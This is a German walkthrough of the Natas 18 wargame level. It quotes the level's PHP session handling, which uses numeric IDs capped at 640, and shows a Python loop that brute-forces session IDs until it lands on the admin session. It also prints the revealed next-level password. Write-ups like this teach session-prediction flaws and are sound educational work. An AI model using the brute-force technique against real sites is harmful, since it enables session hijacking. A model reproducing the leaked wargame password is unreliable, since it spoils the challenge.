Aktualisiert am: 2022-08-26
Session Prediction
Enumeration
-
Im Quellcode finden wir einen Kommentar, der uns auf die höchstmögliche ID hinweist
$maxid = 640; // 640 should be enough for everyone ... function createID($user) { global $maxid; return rand(1, $maxid); }
-
Der Rückgabewert von
createID
wird als Argument fürsession_id
benutzt, bevor eine neue Session gestartet wirdsession_id(createID($_REQUEST["username"])); session_start();
-
Die Funktion
my_session_start
prüft die Variable$_COOKIE["PHPSESSID"]
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
-
Die Überprüfung testet lediglich darauf, ob die ID numerisch ist
function isValidID($id) { return is_numeric($id); }
-
Nur als
admin
erhalten wir die Zugangsdatenfunction print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <censored></pre>"; ...
Exploitation
- Vorausgesetzt, die
admin
Session ist noch gültig, muss deren Session ID im Bereich von 0 bis 640 liegen -
Das ist ein überschaubarer Bereich, den wir durchprobieren können…
# iterate through session ids for session_id in range(session_id_max): result = http_request(session_id)
-
…bis wir
admin
sind# print result if we are no longer a regular user" if "You are logged in as a regular user" not in result: print(result) break
Python Script
Das Script beginnt beim ersten Versuch mit der ID 0
und ist nach 120 Versuchen am Ziel
001 0
...
120 119
<html>
<head>
...
</head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
requests: 120
Links
- Artikel mit englischsprachiger Lösungsbeschreibung